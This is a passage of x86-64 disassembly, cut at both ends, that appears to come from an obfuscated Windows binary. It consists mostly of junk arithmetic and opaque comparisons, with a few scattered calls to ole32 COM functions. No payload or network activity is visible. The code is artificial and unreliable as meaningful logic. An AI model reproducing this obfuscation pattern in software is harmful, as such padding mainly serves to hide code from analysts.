movzx eax, word [rbp + 0x421e]
mov edx, eax
movzx eax, word [rbp + 0x302]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0xbff]
add eax, edx
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x16318]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16390]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x35b4], edx
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x1f10]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1fd8]
sub rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
mov edx, dword [rbp + 0x968]
mov eax, dword [rbp + 0x1bf8]
xor eax, edx
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x184e]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x43bd], al
mov rax, qword [rbp + 0x2898]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [0x1400fd038]
shl rdx, cl
mov qword [rax], rdx
movzx ecx, byte [rbp + 0x51f]
movzx edx, byte [rbp + 0xbff]
mov rax, qword [rbp + 0x4180]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x43bd]
add edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
movzx edx, word [rbp + 0x2ee]
movzx eax, word [rbp + 0x302]
and eax, edx
mov word [rbp + 0x421e], ax
mov edx, dword [rbp + 0x129c]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x3d50], edx
mov rax, qword [rbp + 0x1fd8]
mov rdx, qword [rbp + 0x162e8]
sub rdx, rax
mov qword [rbp + 0x3798], rdx
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16390]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x57c], edx
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2fd4]
mov rax, qword [rbp + 0x1928]
add edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x3b7]
mov edx, eax
movzx eax, byte [rbp + 0x44ce]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [0x1400f9004], al
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x302]
add eax, edx
mov word [rbp + 0x421e], ax
movzx ecx, word [rbp + 0x4328]
movzx edx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x1928]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x232e]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1928]
mov word [rax], dx
mov edx, dword [rbp + 0x1cbc]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
sub dword [rbp + 0x163a4], 0x17
mov edx, dword [rbp + 0x1bbc]
mov eax, dword [rbp + 0x57c]
xor eax, edx
mov dword [rbp + 0x1cbc], eax
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [section..data]
or eax, edx
mov dword [rbp + 0x968], eax
mov rax, qword [rbp + 0x2898]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
mov qword [rbp + 0x1818], rax
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2fd4]
add eax, edx
mov word [rbp + 0x232e], ax
cmp dword [rbp + 0x163a4], 0xd135
ja 0x14000a417
jmp 0x14000abe1
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
mov edx, eax
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x51f]
mov rax, qword [rbp + 0x4180]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x43bd]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
sub edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
movzx eax, word [rbp + 0x232e]
movzx edx, word [rbp + 0x27c]
sub eax, edx
mov word [rbp + 0x2fd4], ax
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x16318]
mov edx, dword [rax]
mov eax, dword [rbp + 0x57c]
add eax, edx
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x644], eax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x43bd]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [0x1400f9005], al
mov rax, qword [rbp + 0x3538]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3538]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x2ee]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x3d32], ax
movzx edx, word [rbp + 0x302]
movzx eax, word [rbp + 0x3d32]
xor eax, edx
mov word [rbp + 0x421e], ax
mov rax, qword [rbp + 0x3538]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x51f]
mov rax, qword [rbp + 0x4180]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2898]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x968]
add eax, edx
mov dword [rbp + 0x129c], eax
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov eax, dword [rbp + 0x57c]
and edx, eax
mov rax, qword [rbp + 0x16318]
mov dword [rax], edx
mov rax, qword [rbp + 0x1fd8]
sub rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
mov rcx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x2898]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
sub edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x232e], ax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [0x1400f9005]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x43bd], al
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x302]
or eax, edx
mov word [rbp + 0x3d32], ax
sub dword [rbp + 0x1636c], 0xf0
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x16318]
mov dword [rax], edx
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x968]
xor edx, eax
mov rax, qword [rbp + 0x163b0]
mov dword [rax], edx
movzx ecx, byte [rbp + 0x43bd]
movzx edx, byte [0x1400f9004]
mov rax, qword [rbp + 0x2c00]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x1818]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
mov edx, eax
movzx eax, word [rbp + 0x3d32]
add eax, edx
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx eax, word [rbp + 0x232e]
add eax, edx
mov word [rbp + 0x27c], ax
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x51f]
sub eax, edx
mov byte [rbp + 0xbff], al
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x51f]
and eax, edx
mov byte [rbp + 0xbff], al
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x644], edx
mov rdx, qword [rbp + 0xa00]
mov rax, qword [0x1400fd030]
add rax, rdx
mov qword [rbp + 0x1818], rax
mov rax, qword [rbp + 0x1fd8]
mov rdx, qword [rbp + 0x162e8]
sub rdx, rax
mov qword [rbp + 0x3798], rdx
cmp dword [rbp + 0x1636c], 0x7404
ja 0x14000a818
mov eax, dword [rbp + 0x35b4]
mov dword [rbp + 0x8f4], eax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [0x1400f9005], al
movzx edx, word [rbp + 0x421e]
movzx eax, word [rbp + 0x302]
or edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x2a9d]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0xbff], al
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x4328]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1928]
mov word [rax], dx
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2ee]
xor edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x57c]
and eax, edx
mov dword [rbp + 0x1bbc], eax
mov ecx, dword [rbp + 0x644]
mov edx, dword [section..data]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x4e8], rdx
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x1928]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
add eax, edx
mov byte [0x1400f9005], al
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x1928]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x2a9d], al
add dword [rbp + 0x1641c], 0xe8
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x421e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3d32], ax
movzx edx, word [rbp + 0x27c]
movzx ecx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x1928]
sub edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x3798]
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov edx, dword [rbp + 0x1bbc]
mov eax, dword [rbp + 0x35b4]
xor edx, eax
mov rax, qword [rbp + 0x16318]
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0xa00], rax
mov ecx, dword [rbp + 0x3d50]
mov edx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x4020]
or edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x1f10]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [0x1400fd038]
sar rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x421e]
and eax, edx
mov word [rbp + 0x302], ax
movzx edx, byte [rbp + 0x51f]
movzx ecx, byte [rbp + 0xbff]
mov rax, qword [rbp + 0x3538]
sub edx, ecx
mov byte [rax], dl
movzx ecx, word [rbp + 0x232e]
movzx edx, word [rbp + 0x4328]
mov rax, qword [rbp + 0x1928]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x43bd]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3b7], al
cmp dword [rbp + 0x1641c], 0xb18c
jbe 0x14000abfd
mov edx, dword [rbp + 0x644]
mov eax, dword [section..data]
add eax, edx
mov dword [rbp + 0x3d50], eax
lea rax, [rbp + 0x35b4]
mov qword [rbp + 0x15968], rax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
add rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov dword [rbp + 0x16304], 0x65b1
mov eax, dword [rbp + 0x1bf8]
cmp eax, 0xf498be0
je 0x14000aeff
cmp eax, 0x161effbd
je 0x14000af87
jmp 0x14000b079
movzx eax, byte [rbp + 0x3b7]
mov edx, eax
movzx eax, byte [rbp + 0x44ce]
add edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
movzx edx, byte [rbp + 0x44ce]
movzx eax, byte [rbp + 0x184e]
and eax, edx
mov byte [0x1400f9004], al
lea r8, [rbp + 0x10c0]
lea rcx, [rbp + 0x2910]
lea rdx, [rbp + 0x4180]
lea rax, [rbp + 0x10c0]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sub.ole32.dll_CoGetInterceptor
mov dword [rbp + 0x15960], eax
movzx eax, word [rbp + 0x3d32]
mov edx, eax
movzx eax, word [rbp + 0x421e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
jmp 0x14000b079
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2ee]
or edx, eax
movzx ecx, word [rbp + 0x302]
movzx eax, word [rbp + 0x421e]
xor eax, ecx
cmp dx, ax
je 0x14000b038
lea rcx, [rbp + 0x2020]
lea rdx, [rbp + 0x2910]
lea rax, [rbp + 0x16a4]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
call rax
mov dword [rbp + 0x15964], eax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx ecx, al
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx edx, al
mov eax, dword [rbp + 0x57c]
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.1400e3877
jmp 0x14000b078
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
mov ecx, eax
sar edx, cl
mov ecx, edx
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bf8]
add eax, edx
cmp ecx, eax
jg 0x14000b078
mov rax, qword [rbp + 0x2c00]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x184e]
and eax, edx
mov byte [rbp + 0x43bd], al
nop
mov eax, dword [rbp + 0x1bf8]
cmp eax, 0x554adb6e
jne 0x14000b15a
lea rdx, [rbp + 0x1928]
lea rax, [rbp + 0x2898]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoCopyProxy]
call rax
mov dword [rbp + 0x1595c], eax
movzx eax, byte [0x1400f9005]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
sub edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x32
jne 0x14000b12e
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x1818], rdx
lea rdx, [rbp + 0x1a40]
lea rax, [rbp + 0x1fa0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleSetAutoConvert]
call rax
mov dword [rbp + 0x10ec], eax
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x968], eax
jmp 0x14000b155
movzx eax, byte [rbp + 0x2a9d]
movzx edx, al
mov rax, qword [rbp + 0x2898]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x162e8]
mov r8, rcx
mov rcx, rax
call fcn.1400e34fb
nop
jmp 0x14000b26f
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x2a9d]
movzx eax, al
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0xbff]
movzx eax, al
add eax, edx
cmp ecx, eax
jl 0x14000b235
movzx edx, byte [rbp + 0x2a9d]
movzx eax, byte [rbp + 0x51f]
and edx, eax
mov rax, qword [rbp + 0x3538]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0xbff]
xor eax, ecx
cmp dl, al
jne 0x14000b21a
mov rax, qword [rbp + 0x1fd8]
mov qword [rbp + 0x3e98], rax
mov edx, dword [rbp + 0x1bbc]
mov eax, dword [rbp + 0x8f4]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x15968]
mov dword [rax], edx
lea rax, [rbp + 0x2fd4]
mov qword [rbp + 0x2b78], rax
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x302]
add eax, edx
mov word [rbp + 0x421e], ax
mov dword [rbp + 0x162f4], 0x36fd
jmp 0x14000b26e
movzx ecx, byte [rbp + 0x51f]
movzx edx, byte [rbp + 0x2a9d]
mov rax, qword [rbp + 0x3538]
add edx, ecx
mov byte [rax], dl
jmp 0x14000b26e
lea rdx, [rbp + 0x644]
lea rax, [rbp + 0x3630]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetObjectContext]
call rax
mov dword [rbp + 0x1595c], eax
mov rax, qword [rbp + 0x2c00]
movzx edx, byte [rax]
movzx eax, byte [0x1400f9005]
and eax, edx
mov byte [rbp + 0x3b7], al
nop
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x27c]
mov rax, qword [rbp + 0x2b78]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bf8]
sub edx, eax
mov dword [rbp + 0x968], edx
mov rax, qword [rbp + 0x15968]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bbc]
sub edx, eax
mov dword [rbp + 0x57c], edx
movzx edx, word [rbp + 0x232e]
movzx ecx, word [rbp + 0x2fd4]
mov rax, qword [rbp + 0x2b78]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1818]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
sub edx, eax
mov dword [section..data], edx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3b7], al
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x2b78]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0xbff], al
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2a9d]
xor eax, edx
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x16390]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x15968]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2898]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1f10]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x1818], rax
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x644], eax
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [0x1400f9004], al
movzx ecx, byte [rbp + 0x44ce]
movzx edx, byte [rbp + 0x3b7]
mov rax, qword [rbp + 0x2c00]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3538]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0xbff], al
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x421e]
add eax, edx
mov word [rbp + 0x3d32], ax
movzx eax, byte [rbp + 0x43bd]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
sub edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
movzx edx, byte [rbp + 0x51f]
mov rax, qword [rbp + 0x4180]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3538]
sub edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x1bbc]
mov eax, dword [rbp + 0x1cbc]
sub edx, eax
mov dword [rbp + 0x8f4], edx
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x129c], eax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1818]
xor rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx eax, byte [rbp + 0x3b7]
movsx edx, al
movzx eax, byte [rbp + 0x44ce]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [0x1400f9005], al
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x3d32]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2fd4]
mov rax, qword [rbp + 0x2b78]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x421e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x3538]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xbff]
mov rax, qword [rbp + 0x4180]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x184e]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
add edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x1818]
add rax, rdx
mov qword [rbp + 0x4e8], rax
sub dword [rbp + 0x162f8], 0x94
mov rax, qword [rbp + 0x3e98]
and rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
add edx, eax
mov rax, qword [rbp + 0x15968]
mov dword [rax], edx
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [section..data], edx
movzx eax, word [rbp + 0x4328]
movzx edx, word [rbp + 0x2fd4]
sub eax, edx
mov word [rbp + 0x232e], ax
movzx eax, byte [rbp + 0xbff]
movzx edx, byte [rbp + 0x51f]
sub eax, edx
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x2ee]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2ee]
or edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2a9d]
xor eax, edx
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x2898]
sar rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x163b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bf8]
mov rax, qword [rbp + 0x4020]
and edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x43bd]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
sub edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rdx, qword [0x1400fd030]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x44ce]
add eax, edx
mov byte [rbp + 0x184e], al
movzx edx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x2b78]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2fd4], ax
movzx eax, byte [rbp + 0x44ce]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
add eax, edx
mov byte [rbp + 0x43bd], al
mov rax, qword [rbp + 0x4180]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xbff]
mov rax, qword [rbp + 0x3538]
and edx, ecx
mov byte [rax], dl
movzx edx, word [rbp + 0x2fd4]
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x2b78]
sub edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x162f8], 0xb310
ja 0x14000b26f
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x3e98]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16318]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x1cbc], eax
mov edx, dword [rbp + 0x968]
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [section..data], eax
movzx edx, byte [rbp + 0xbff]
movzx eax, byte [rbp + 0x51f]
xor eax, edx
mov byte [rbp + 0x2a9d], al
movzx eax, word [rbp + 0x2ee]
movsx edx, ax
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
cwde
mov ecx, eax
